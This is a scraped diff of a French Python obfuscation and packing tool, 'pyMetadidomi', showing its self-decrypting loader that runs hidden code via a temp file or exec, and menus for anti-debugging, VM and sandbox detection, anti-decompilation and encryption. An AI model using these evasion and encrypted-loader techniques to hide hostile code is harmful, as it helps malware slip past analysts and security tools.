|
-
def remove_protections(self, src):
|
|
1150
|
-
protections = [
|
|
1151
|
-
r'import ctypes, sys\\s*if not ctypes\\.windll\\.shell32\\.IsUserAnAdmin.*?(?=\\ndef|\\nclass|\\n\\n|\\Z)',
|
|
1152
|
-
r'def detect_vm\\(\\):.*?return any\\(vm_indicators\\)',
|
|
1153
|
-
r'def detect_debugger\\(\\):.*?return False',
|
|
1154
|
-
r'def detect_sandbox\\(\\):.*?return False',
|
|
1155
|
-
r'def detect_decompiler\\(\\):.*?sys\\.exit\\(1\\)',
|
|
1156
|
-
r'def execution_timeout\\(\\):.*?return decorator',
|
|
1157
|
-
]
|
|
1158
|
-
for pattern in protections:
|
|
1159
|
-
src = re.sub(pattern, '', src, flags=re.DOTALL | re.MULTILINE)
|
|
1160
|
-
return src
|
|
1161
|
-
|
|
1162
|
-
def remove_dead_code(self, src):
|
|
1163
|
-
lines = src.split('\\n')
|
|
1164
|
-
filtered_lines = []
|
|
1165
|
-
for line in lines:
|
|
1166
|
-
if not re.match(r'\\s*(def unused_func_|def dummy_calc_|temp_var_|unused_data_|complex_obj_|class FakeClass)', line):
|
|
1167
|
-
filtered_lines.append(line)
|
|
1168
|
-
return '\\n'.join(filtered_lines)
|
|
1169
|
-
|
|
1170
|
-
@staticmethod
|
|
1171
|
-
def _unpad(s):
|
|
1172
|
-
try:
|
|
1173
|
-
padding_length = s[-1]
|
|
1174
|
-
if padding_length < 1 or padding_length > AES.block_size:
|
|
1175
|
-
return s
|
|
1176
|
-
if s[-padding_length:] != bytes([padding_length]) * padding_length:
|
|
1177
|
-
return s
|
|
1178
|
-
return s[:-padding_length]
|
|
1179
|
-
except:
|
|
1180
|
-
return s
|
|
1181
|
-
|
|
1182
|
-
def _pymetadidomi_load():
|
|
1183
|
-
try:
|
|
1184
|
-
with open(__file__, "r", encoding='utf-8') as f:
|
|
1185
|
-
obfcode = f.read()
|
|
1186
|
-
|
|
1187
|
-
start_marker = "'''\\n"
|
|
1188
|
-
end_marker = "\\n'''"
|
|
1189
|
-
|
|
1190
|
-
if start_marker not in obfcode or end_marker not in obfcode:
|
|
1191
|
-
return
|
|
1192
|
-
|
|
1193
|
-
start_index = obfcode.find(start_marker) + len(start_marker)
|
|
1194
|
-
end_index = obfcode.find(end_marker, start_index)
|
|
1195
|
-
encrypted_content = obfcode[start_index:end_index]
|
|
1196
|
-
|
|
1197
|
-
wall = "__PYMETADIDOMI_ENCRYPTED__" * 25
|
|
1198
|
-
parts = [part for part in encrypted_content.split(wall) if part.strip()]
|
|
1199
|
-
|
|
1200
|
-
if len(parts) < 2:
|
|
1201
|
-
return
|
|
1202
|
-
|
|
1203
|
-
key = parts[0].encode()
|
|
1204
|
-
encrypted_parts = parts[1:]
|
|
1205
|
-
|
|
1206
|
-
pymetadidomi = PyMetadidomi(key)
|
|
1207
|
-
src = ""
|
|
1208
|
-
|
|
1209
|
-
for encrypted_part in encrypted_parts:
|
|
1210
|
-
if encrypted_part.strip():
|
|
1211
|
-
decrypted_line = pymetadidomi.decrypt(encrypted_part)
|
|
1212
|
-
if decrypted_line:
|
|
1213
|
-
src += decrypted_line + "\\n"
|
|
1214
|
-
|
|
1215
|
-
src = pymetadidomi.remove_protections(src)
|
|
1216
|
-
src = pymetadidomi.remove_dead_code(src)
|
|
1217
|
-
src = re.sub(r'import (uncompyle6|decompyle3|pycdc|pycdas|xdis|meta|psutil)\\n', '', src)
|
|
1218
|
-
src = re.sub(r'from (uncompyle6|decompyle3|pycdc|pycdas|xdis|meta|psutil) import.*?\\n', '', src)
|
|
1219
|
-
src = re.sub(r'\\n\\n+', '\\n\\n', src)
|
|
1220
|
-
src = re.sub(r'encrypted_code = .*?\\n', '', src)
|
|
1221
|
-
|
|
1222
|
-
tmp = tempfile.NamedTemporaryFile(mode='w', delete=False, suffix='.py', encoding='utf-8')
|
|
1223
|
-
tmp.write(src)
|
|
1224
|
-
tmp.flush()
|
|
1225
|
-
tmp.close()
|
|
1226
|
-
|
|
1227
|
-
p = subprocess.Popen([sys.executable, tmp.name])
|
|
1228
|
-
p.wait()
|
|
1229
|
-
os.unlink(tmp.name)
|
|
1230
|
-
|
|
1231
|
-
except:
|
|
1232
|
-
pass
|
|
1233
|
-
|
|
1234
|
-
_pymetadidomi_load()
|
|
1235
|
-
"""
|
|
1236
|
-
|
|
1237
|
-
code = f"{decryptor}\n'''\n{newcode}\n'''"
|
|
1238
|
-
return code
|
|
1239
|
-
|
|
1240
|
-
|
|
1241
|
-
banner = f"""
|
|
1242
|
-
|
|
1243
|
-
|
|
1244
|
-
|
|
1245
|
-
____ ___ _ _ _ _ _ _
|
|
1246
|
-
| _ \ _ _| \/ | ___| |_ __ _ __| (_) __| | ___ _ __ __ _(_)
|
|
1247
|
-
| |_) | | | | |\/| |/ _ \ __/ _` |/ _` | |/ _` |/ _ \| '_ ` _ \| |
|
|
1248
|
-
| __/| |_| | | | | __/ || (_| | (_| | | (_| | (_) | | | | | | |
|
|
1249
|
-
|_| \__, |_| |_|\___|\__\__,_|\__,_|_|\__,_|\___/|_| |_| |_|_|
|
|
1250
|
-
|___/ Coder c'est bien; protéger c'est mieux !
|
|
1251
|
-
|
|
1252
|
-
|
|
1253
|
-
{white(f"[>] Exécution avec Python {sys.version_info[0]}.{sys.version_info[1]}.{sys.version_info[2]}")}
|
|
1254
|
-
|
|
1255
|
-
"""
|
|
1256
|
-
|
|
1257
|
-
def parse_cli_args():
|
|
1258
|
-
"""Parse les arguments CLI pour le mode batch"""
|
|
1259
|
-
parser = argparse.ArgumentParser(
|
|
1260
|
-
description="pyMetadidomi - Protection et obfuscation de code Python",
|
|
1261
|
-
formatter_class=argparse.RawDescriptionHelpFormatter,
|
|
1262
|
-
epilog="""
|
|
1263
|
-
Exemples d'utilisation:
|
|
1264
|
-
python pyMetadidomi.py script.py # Mode interactif
|
|
1265
|
-
python pyMetadidomi.py script.py --carbon # Obfuscation uniquement
|
|
1266
|
-
python pyMetadidomi.py script.py --medium-protection # Protection moyenne
|
|
1267
|
-
python pyMetadidomi.py script.py --heavy-protection # Protection maximale
|
|
1268
|
-
python pyMetadidomi.py script.py --carbon --junk --bugs # Protection personnalisée
|
|
1269
|
-
"""
|
|
1270
|
-
)
|
|
1271
|
-
|
|
1272
|
-
parser.add_argument('file', nargs='?', help='Fichier Python à protéger')
|
|
1273
|
-
|
|
1274
|
-
# Options individuelles
|
|
1275
|
-
parser.add_argument('--carbon', action='store_true', help='Obfuscation du code (renommage)')
|
|
1276
|
-
parser.add_argument('--junk', action='store_true', help='Générer du code parasite')
|
|
1277
|
-
parser.add_argument('--bugs', action='store_true', help='Anti-débogage')
|
|
1278
|
-
parser.add_argument('--dead-code', action='store_true', help='Générer du code mort')
|
|
1279
|
-
parser.add_argument('--dead-code-complexity', type=int, default=10, help='Complexité du code mort (1-10, défaut: 10)')
|
|
1280
|
-
parser.add_argument('--time-prot', action='store_true', help='Protection temporelle')
|
|
1281
|
-
parser.add_argument('--expiration', type=int, default=2026, help='Année d\'expiration (défaut: 2026)')
|
|
1282
|
-
parser.add_argument('--anti-vm', action='store_true', help='Détection VM & Sandbox')
|
|
1283
|
-
parser.add_argument('--anti-reverse', action='store_true', help='Anti-reverse engineering')
|
|
1284
|
-
parser.add_argument('--anti-decompile', action='store_true', help='Anti-décompilation')
|
|
1285
|
-
parser.add_argument('--multi-encrypt', action='store_true', help='Chiffrement multi-couches')
|
|
1286
|
-
parser.add_argument('--encrypt', action='store_true', help='Chiffrement simple')
|
|
1287
|
-
|
|
1288
|
-
# Presets
|
|
1289
|
-
parser.add_argument('--light-protection', action='store_true', help='Protection légère (carbon + junk)')
|
|
1290
|
-
parser.add_argument('--medium-protection', action='store_true', help='Protection moyenne (carbon + junk + bugs + dead-code)')
|
|
1291
|
-
parser.add_argument('--heavy-protection', action='store_true', help='Protection lourde (toutes les protections)')
|
|
1292
|
-
|
|
1293
|
-
parser.add_argument('--output', '-o', help='Fichier de sortie (défaut: script-obf.py)')
|
|
1294
|
-
parser.add_argument('--compile', action='store_true', help='Compiler en EXE après obfuscation')
|
|
1295
|
-
|
|
1296
|
-
return parser.parse_args()
|
|
1297
|
-
|
|
1298
|
-
def process_file_cli(args):
|
|
1299
|
-
"""Traite un fichier en mode CLI"""
|
|
1300
|
-
file = args.file
|
|
1301
|
-
|
|
1302
|
-
if not os.path.exists(file):
|
|
1303
|
-
print(red(f" [!] Erreur : Le fichier '{file}' n'existe pas"))
|
|
1304
|
-
sys.exit(1)
|
|
1305
|
-
|
|
1306
|
-
# Déterminer les protections à appliquer
|
|
1307
|
-
carbonate = args.carbon
|
|
1308
|
-
junk = args.junk
|
|
1309
|
-
bug = args.bugs
|
|
1310
|
-
dead_code = args.dead_code
|
|
1311
|
-
anti_vm = args.anti_vm
|
|
1312
|
-
anti_reverse = args.anti_reverse
|
|
1313
|
-
anti_decompile = args.anti_decompile
|
|
1314
|
-
multi_encrypt = args.multi_encrypt
|
|
1315
|
-
encrypt = args.encrypt
|
|
1316
|
-
time_prot = args.time_prot
|
|
1317
|
-
expiration_year = args.expiration
|
|
1318
|
-
dead_code_complexity = args.dead_code_complexity
|
|
1319
|
-
compile_exe = args.compile
|
|
1320
|
-
|
|
1321
|
-
# Gérer les presets
|
|
1322
|
-
if args.light_protection:
|
|
1323
|
-
carbonate = True
|
|
1324
|
-
junk = True
|
|
1325
|
-
|
|
1326
|
-
if args.medium_protection:
|
|
1327
|
-
carbonate = True
|
|
1328
|
-
junk = True
|
|
1329
|
-
bug = True
|
|
1330
|
-
dead_code = True
|
|
1331
|
-
|
|
1332
|
-
if args.heavy_protection:
|
|
1333
|
-
carbonate = True
|
|
1334
|
-
junk = True
|
|
1335
|
-
bug = True
|
|
1336
|
-
dead_code = True
|
|
1337
|
-
time_prot = True
|
|
1338
|
-
anti_vm = True
|
|
1339
|
-
anti_reverse = True
|
|
1340
|
-
anti_decompile = True
|
|
1341
|
-
multi_encrypt = True
|
|
1342
|
-
|
|
1343
|
-
print(blue_royal(banner), end="")
|
|
1344
|
-
print(blue(f"\n [>] Traitement du fichier: {file}"))
|
|
1345
|
-
|
|
1346
|
-
# Charger le code source
|
|
1347
|
-
with open(file, "r", encoding='utf-8') as f:
|
|
1348
|
-
src = f.read()
|
|
1349
|
-
|
|
1350
|
-
key = base64.b64encode(os.urandom(32)).decode()
|
|
1351
|
-
|
|
1352
|
-
# Appliquer les protections dans l'ordre
|
|
1353
|
-
if junk:
|
|
1354
|
-
print(" [>] Ajout de code parasite...")
|
|
1355
|
-
src = anubis(src)
|
|
1356
|
-
|
|
1357
|
-
if bug:
|
|
1358
|
-
print(" [>] Ajout d'anti-débogage...")
|
|
1359
|
-
src = bugs(src)
|
|
1360
|
-
|
|
1361
|
-
if dead_code:
|
|
1362
|
-
print(" [>] Génération de code mort...")
|
|
1363
|
-
src = generate_dead_code(dead_code_complexity) + src
|
|
1364
|
-
|
|
1365
|
-
if time_prot:
|
|
1366
|
-
print(f" [>] Protection temporelle (expiration: {expiration_year})...")
|
|
1367
|
-
src = time_protection(src, expiration_year=expiration_year)
|
|
1368
|
-
|
|
1369
|
-
if anti_vm or anti_reverse:
|
|
1370
|
-
print(" [>] Ajout d'anti-VM et anti-reverse...")
|
|
1371
|
-
src = advanced_anti_analysis(src)
|
|
1372
|
-
|
|
1373
|
-
if anti_decompile:
|
|
1374
|
-
print(" [>] Protection anti-décompilation...")
|
|
1375
|
-
src = anti_decompile_protection(src)
|
|
1376
|
-
|
|
1377
|
-
if multi_encrypt:
|
|
1378
|
-
print(" [>] Chiffrement multi-couches...")
|
|
1379
|
-
encryption = MultiLayerEncryption([key, key[:16], key[:8]])
|
|
1380
|
-
src = "encrypted_code = " + repr(encryption.multi_encrypt(src)) + "\n" + src
|
|
1381
|
-
|
|
1382
|
-
if carbonate:
|
|
1383
|
-
print(" [>] Obfuscation du code...")
|
|
1384
|
-
src, renamed_count = carbon(src)
|
|
1385
|
-
|
|
1386
|
-
if encrypt:
|
|
1387
|
-
print(" [>] Minification irréversible...")
|
|
1388
|
-
src = minify_irreversible(src)
|
|
1389
|
-
|
|
1390
|
-
# Déterminer le dossier temporaire à la racine du projet utilisateur
|
|
1391
|
-
import os
|
|
1392
|
-
# On suppose que le projet utilisateur est la racine du workspace
|
|
1393
|
-
project_root = os.path.abspath(os.path.join(os.path.dirname(__file__), '../../..'))
|
|
1394
|
-
temp_dir = os.path.join(project_root, "temp_protected")
|
|
1395
|
-
os.makedirs(temp_dir, exist_ok=True)
|
|
1396
|
-
output_file = os.path.join(temp_dir, os.path.basename(file))
|
|
1397
|
-
# Si l'utilisateur a précisé --output, on l'utilise dans le dossier temporaire
|
|
1398
|
-
if args.output:
|
|
1399
|
-
output_file = os.path.join(temp_dir, os.path.basename(args.output))
|
|
1400
|
-
# Écrire le fichier obfusqué dans le dossier temporaire
|
|
1401
|
-
with open(output_file, "w", encoding='utf-8') as f:
|
|
1402
|
-
f.write(src)
|
|
1403
|
-
|
|
1404
|
-
print(blue(f"\n [>] Code obfusqué avec succès → {output_file}\n"))
|
|
1405
|
-
|
|
1406
|
-
# Compilation optionnelle
|
|
1407
|
-
if compile_exe and not encrypt:
|
|
1408
|
-
compile = True
|
|
1409
|
-
print(" [>] Compilation en EXE...")
|
|
1410
|
-
# Appeler le packaging complet build.py
|
|
1411
|
-
build_py_path = os.path.join(os.path.dirname(__file__), '..', 'builder.py')
|
|
1412
|
-
basic_params = [sys.executable, build_py_path, "--app-src", os.path.dirname(output_file), "--output", output_file[:-3] + '.exe', "--app-name", os.path.basename(output_file)[:-3]]
|
|
1413
|
-
p = subprocess.Popen(basic_params, shell=True, cwd=os.getcwd())
|
|
1414
|
-
print(red(" [!] La compilation en exe peut prendre un certain temps...\n"))
|
|
1415
|
-
p.wait()
|
|
1416
|
-
exe_name = output_file[:-3] + '.exe'
|
|
1417
|
-
print(blue(f"\n [>] Code compilé avec succès → {exe_name}"))
|
|
1418
|
-
|
|
1419
|
-
print(blue(" [>] Terminé!"))
|
|
1420
|
-
|
|
1421
|
-
def main_interactive():
|
|
1422
|
-
"""Mode interactif classique"""
|
|
1423
|
-
clear()
|
|
1424
|
-
print(blue_royal(banner), end="")
|
|
1425
|
-
while True:
|
|
1426
|
-
file = input(purple(" [>] Entrez le fichier python à obfusquer [script.py] : ") + "\033[38;2;148;0;230m")
|
|
1427
|
-
if not os.path.exists(file):
|
|
1428
|
-
print(red(" [!] Erreur : Ce fichier n'existe pas"), end="")
|
|
1429
|
-
else:
|
|
1430
|
-
break
|
|
1431
|
-
|
|
1432
|
-
carbonate = False
|
|
1433
|
-
junk = False
|
|
1434
|
-
bug = False
|
|
1435
|
-
anti_vm = False
|
|
1436
|
-
anti_reverse = False
|
|
1437
|
-
dead_code = False
|
|
1438
|
-
time_prot = False
|
|
1439
|
-
multi_encrypt = False
|
|
1440
|
-
anti_decompile = False
|
|
1441
|
-
|
|
1442
|
-
while True:
|
|
1443
|
-
ans = input(purple(" [>] Anti-débogage [o/n] : ") + "\033[38;2;148;0;230m").lower()
|
|
1444
|
-
if ans == "o":
|
|
1445
|
-
bug = True
|
|
1446
|
-
break
|
|
1447
|
-
elif ans == "n":
|
|
1448
|
-
bug = False
|
|
1449
|
-
break
|
|
1450
|
-
else:
|
|
1451
|
-
print(red(f" [!] Erreur : Option invalide [o/n]"), end="")
|
|
1452
|
-
|
|
1453
|
-
while True:
|
|
1454
|
-
ans = input(purple(" [>] Code inutile [o/n] : ") + "\033[38;2;148;0;230m").lower()
|
|
1455
|
-
if ans == "o":
|
|
1456
|
-
junk = True
|
|
1457
|
-
break
|
|
1458
|
-
elif ans == "n":
|
|
1459
|
-
junk = False
|
|
1460
|
-
break
|
|
1461
|
-
else:
|
|
1462
|
-
print(red(f" [!] Erreur : Option invalide [o/n]"), end="")
|
|
1463
|
-
|
|
1464
|
-
while True:
|
|
1465
|
-
ans = input(purple(" [>] Détection de VM & Sandbox [o/n] : ") + "\033[38;2;148;0;230m").lower()
|
|
1466
|
-
if ans == "o":
|
|
1467
|
-
anti_vm = True
|
|
1468
|
-
break
|
|
1469
|
-
elif ans == "n":
|
|
1470
|
-
anti_vm = False
|
|
1471
|
-
break
|
|
1472
|
-
else:
|
|
1473
|
-
print(red(f" [!] Erreur : Option invalide [o/n]"), end="")
|
|
1474
|
-
|
|
1475
|
-
while True:
|
|
1476
|
-
ans = input(purple(" [>] Protection anti-reverse engineering [o/n] : ") + "\033[38;2;148;0;230m").lower()
|
|
1477
|
-
if ans == "o":
|
|
1478
|
-
anti_reverse = True
|
|
1479
|
-
break
|
|
1480
|
-
elif ans == "n":
|
|
1481
|
-
anti_reverse = False
|
|
1482
|
-
break
|
|
1483
|
-
else:
|
|
1484
|
-
print(red(f" [!] Erreur : Option invalide [o/n]"), end="")
|
|
1485
|
-
|
|
1486
|
-
while True:
|
|
1487
|
-
ans = input(purple(" [>] Code mort [o/n] : ") + "\033[38;2;148;0;230m").lower()
|
|
1488
|
-
if ans == "o":
|
|
1489
|
-
dead_code = True
|
|
1490
|
-
break
|
|
1491
|
-
elif ans == "n":
|
|
1492
|
-
dead_code = False
|
|
1493
|
-
break
|
|
1494
|
-
else:
|
|
1495
|
-
print(red(f" [!] Erreur : Option invalide [o/n]"), end="")
|
|
1496
|
-
|
|
1497
|
-
expiration_year = 2025
|
|
1498
|
-
while True:
|
|
1499
|
-
ans = input(purple(" [>] Protection basée sur le temps [o/n] : ") + "\033[38;2;148;0;230m").lower()
|
|
1500
|
-
if ans == "o":
|
|
1501
|
-
time_prot = True
|
|
1502
|
-
# Demander la date d'expiration
|
|
1503
|
-
while True:
|
|
1504
|
-
try:
|
|
1505
|
-
expiration_year = int(input(purple(" [>] Année d'expiration (ex: 2026) : ") + "\033[38;2;148;0;230m"))
|
|
1506
|
-
if expiration_year > 2025:
|
|
1507
|
-
break
|
|
1508
|
-
else:
|
|
1509
|
-
print(red(" [!] Erreur : L'année doit être supérieure à 2025"), end="")
|
|
1510
|
-
except ValueError:
|
|
1511
|
-
print(red(" [!] Erreur : Veuillez entrer un nombre entier"), end="")
|
|
1512
|
-
break
|
|
1513
|
-
elif ans == "n":
|
|
1514
|
-
time_prot = False
|
|
1515
|
-
expiration_year = 2025
|
|
1516
|
-
break
|
|
1517
|
-
else:
|
|
1518
|
-
print(red(f" [!] Erreur : Option invalide [o/n]"), end="")
|
|
1519
|
-
|
|
1520
|
-
while True:
|
|
1521
|
-
ans = input(purple(" [>] Chiffrement multi-couches [o/n] : ") + "\033[38;2;148;0;230m").lower()
|
|
1522
|
-
if ans == "o":
|
|
1523
|
-
multi_encrypt = True
|
|
1524
|
-
break
|
|
1525
|
-
elif ans == "n":
|
|
1526
|
-
multi_encrypt = False
|
|
1527
|
-
break
|
|
1528
|
-
else:
|
|
1529
|
-
print(red(f" [!] Erreur : Option invalide [o/n]"), end="")
|
|
1530
|
-
|
|
1531
|
-
while True:
|
|
1532
|
-
ans = input(purple(" [>] Protection anti-décompilation [o/n] : ") + "\033[38;2;148;0;230m").lower()
|
|
1533
|
-
if ans == "o":
|
|
1534
|
-
anti_decompile = True
|
|
1535
|
-
break
|
|
1536
|
-
elif ans == "n":
|
|
1537
|
-
anti_decompile = False
|
|
1538
|
-
break
|
|
1539
|
-
else:
|
|
1540
|
-
print(red(f" [!] Erreur : Option invalide [o/n]"), end="")
|
|
1541
|
-
|
|
1542
|
-
while True:
|
|
1543
|
-
ans = input(purple(" [>] Renommer Classe, Fonctions, Variables & Paramètres [o/n] : ") + "\033[38;2;148;0;230m").lower()
|
|
1544
|
-
if ans == "o":
|
|
1545
|
-
carbonate = True
|
|
1546
|
-
break
|
|
1547
|
-
elif ans == "n":
|
|
1548
|
-
carbonate = False
|
|
1549
|
-
break
|
|
1550
|
-
else:
|
|
1551
|
-
print(red(f" [!] Erreur : Option invalide [o/n]"), end="")
|
|
1552
|
-
|
|
1553
|
-
|
|
1554
|
-
encrypt = False
|
|
1555
|
-
loader_integrated = False
|
|
1556
|
-
while True:
|
|
1557
|
-
ans = input(purple(" [>] Minification irréversible [o/n] : ") + "\033[38;2;148;0;230m").lower()
|
|
1558
|
-
if ans == "o":
|
|
1559
|
-
encrypt = True
|
|
1560
|
-
break
|
|
1561
|
-
elif ans == "n":
|
|
1562
|
-
encrypt = False
|
|
1563
|
-
break
|
|
1564
|
-
else:
|
|
1565
|
-
print(red(f" [!] Erreur : Option invalide [o/n]"), end="")
|
|
1566
|
-
|
|
1567
|
-
while True:
|
|
1568
|
-
ans = input(purple(" [>] Intégrer le loader dans le code [o/n] : ") + "\033[38;2;148;0;230m").lower()
|
|
1569
|
-
if ans == "o":
|
|
1570
|
-
loader_integrated = True
|
|
1571
|
-
break
|
|
1572
|
-
elif ans == "n":
|
|
1573
|
-
loader_integrated = False
|
|
1574
|
-
break
|
|
1575
|
-
else:
|
|
1576
|
-
print(red(f" [!] Erreur : Option invalide [o/n]"), end="")
|
|
1577
|
-
|
|
1578
|
-
print(" ")
|
|
1579
|
-
key = base64.b64encode(os.urandom(32)).decode()
|
|
1580
|
-
with open(file, "r", encoding='utf-8') as f:
|
|
1581
|
-
src = f.read()
|
|
1582
|
-
|
|
1583
|
-
# Appliquer les protections dans le même ordre que le mode CLI
|
|
1584
|
-
if junk:
|
|
1585
|
-
print(" [>] Ajout de code parasite...")
|
|
1586
|
-
src = anubis(src)
|
|
1587
|
-
if bug:
|
|
1588
|
-
print(" [>] Ajout d'anti-débogage...")
|
|
1589
|
-
src = bugs(src)
|
|
1590
|
-
if dead_code:
|
|
1591
|
-
print(" [>] Génération de code mort...")
|
|
1592
|
-
src = generate_dead_code(15) + src
|
|
1593
|
-
if time_prot:
|
|
1594
|
-
print(f" [>] Protection temporelle (expiration: {expiration_year})...")
|
|
1595
|
-
src = time_protection(src, expiration_year=expiration_year)
|
|
1596
|
-
if anti_vm or anti_reverse:
|
|
1597
|
-
print(" [>] Ajout d'anti-VM et anti-reverse...")
|
|
1598
|
-
src = advanced_anti_analysis(src)
|
|
1599
|
-
if anti_decompile:
|
|
1600
|
-
print(" [>] Protection anti-décompilation...")
|
|
1601
|
-
src = anti_decompile_protection(src)
|
|
1602
|
-
if multi_encrypt:
|
|
1603
|
-
print(" [>] Chiffrement multi-couches...")
|
|
1604
|
-
encryption = MultiLayerEncryption([key, key[:16], key[:8]])
|
|
1605
|
-
src = "encrypted_code = " + repr(encryption.multi_encrypt(src)) + "\n" + src
|
|
1606
|
-
if carbonate:
|
|
1607
|
-
print(" [>] Obfuscation du code...")
|
|
1608
|
-
src, renamed_count = carbon(src)
|
|
1609
|
-
if encrypt:
|
|
1610
|
-
print(" [>] Minification irréversible...")
|
|
1611
|
-
src = minify_irreversible(src)
|
|
1612
|
-
if loader_integrated:
|
|
1613
|
-
print(" [>] Intégration du loader dans le code...")
|
|
1614
|
-
src = protect_with_loader(src)
|
|
1615
|
-
|
|
1616
|
-
name = f"{file[:-3]}-obf.py"
|
|
1617
|
-
with open(name, "w", encoding='utf-8') as f:
|
|
1618
|
-
f.write(src)
|
|
1619
|
-
|
|
1620
|
-
print(blue(f"\n [>] Code a été obfusqué avec succès @ {name}"), end="")
|
|
1621
|
-
|
|
1622
|
-
# Copier pymloader.pyd si loader_integrated et le fichier existe
|
|
1623
|
-
if loader_integrated:
|
|
1624
|
-
import pathlib
|
|
1625
|
-
import shutil
|
|
1626
|
-
loader_dir = pathlib.Path(__file__).parent
|
|
1627
|
-
pymloader_ext = 'pymloader.pyd' if sys.platform.startswith('win') else 'pymloader.so'
|
|
1628
|
-
pymloader_bin = loader_dir / pymloader_ext
|
|
1629
|
-
if pymloader_bin.exists():
|
|
1630
|
-
output_dir = os.path.dirname(name) or '.'
|
|
1631
|
-
dest_pymloader = os.path.join(output_dir, pymloader_ext)
|
|
1632
|
-
shutil.copy2(str(pymloader_bin), dest_pymloader)
|
|
1633
|
-
print(blue(f", avec {pymloader_ext} dans le même dossier"), end="")
|
|
1634
|
-
|
|
1635
|
-
if encrypt == False:
|
|
1636
|
-
compile = False
|
|
1637
|
-
while True:
|
|
1638
|
-
ans = input(purple(" [>] Voulez-vous compiler en exe [o/n] : ") + "\033[38;2;148;0;230m").lower()
|
|
1639
|
-
if ans == "o":
|
|
1640
|
-
compile = True
|
|
1641
|
-
break
|
|
1642
|
-
elif ans == "n":
|
|
1643
|
-
compile = False
|
|
1644
|
-
break
|
|
1645
|
-
else:
|
|
1646
|
-
print(red(f" [!] Erreur : Option invalide [o/n]"), end="")
|
|
1647
|
-
|
|
1648
|
-
if compile == True:
|
|
1649
|
-
print(" [>] Compilation en EXE...")
|
|
1650
|
-
# Appeler le packaging complet build.py
|
|
1651
|
-
build_py_path = os.path.join(os.path.dirname(__file__), '..', 'builder.py')
|
|
1652
|
-
basic_params = [sys.executable, build_py_path, "--app-src", os.path.dirname(name), "--output", name[:-3] + '.exe', "--app-name", os.path.basename(name)[:-3]]
|
|
1653
|
-
p = subprocess.Popen(basic_params, shell=True, cwd=os.getcwd())
|
|
1654
|
-
print(red("\n [!] La compilation en exe peut prendre un certain temps\n [!] Information du Builder:\n\n"), end="")
|
|
1655
|
-
p.wait()
|
|
1656
|
-
print(blue(f"\n [>] Code compilé avec succès @ {name[:-3] + '.exe'}"), end="")
|
|
1657
|
-
|
|
1658
|
-
print(blue("\n [>] Appuyez sur n'importe quelle touche pour quitter... "), end="")
|
|
1659
|
-
pause(); clear(); leave()
|
|
1660
|
-
|
|
1661
|
-
# Point d'entrée principal
|
|
1662
|
-
if __name__ == "__main__":
|
|
1663
|
-
# Vérifier si des arguments CLI sont fournis
|
|
1664
|
-
if len(sys.argv) > 1:
|
|
1665
|
-
# Mode CLI
|
|
1666
|
-
args = parse_cli_args()
|
|
1667
|
-
if args.file:
|
|
1668
|
-
try:
|
|
1669
|
-
process_file_cli(args)
|
|
1670
|
-
except Exception as e:
|
|
1671
|
-
print(red(f" [!] Erreur lors du traitement : {e}"))
|
|
1672
|
-
sys.exit(1)
|
|
1673
|
-
else:
|
|
1674
|
-
print(red(" [!] Aucun fichier spécifié"))
|
|
1675
|
-
sys.exit(1)
|
|
1676
|
-
else:
|
|
1677
|
-
# Mode interactif (comportement par défaut)
|
|
1678
|
-
main_interactive()
|
|
12
|
+
decrypted = unpad(cipher.decrypt(payload))
|
|
13
|
+
bytecode = zlib.decompress(decrypted)
|
|
14
|
+
pymloader.exec_bytecode(bytecode)
|
|
15
|
+
except ImportError:
|
|
16
|
+
bytecode = zlib.decompress(decrypted)
|
|
17
|
+
code = marshal.loads(bytecode)
|
|
18
|
+
exec(code)
|
|
19
|
+
# --- Fin du loader natif ---
|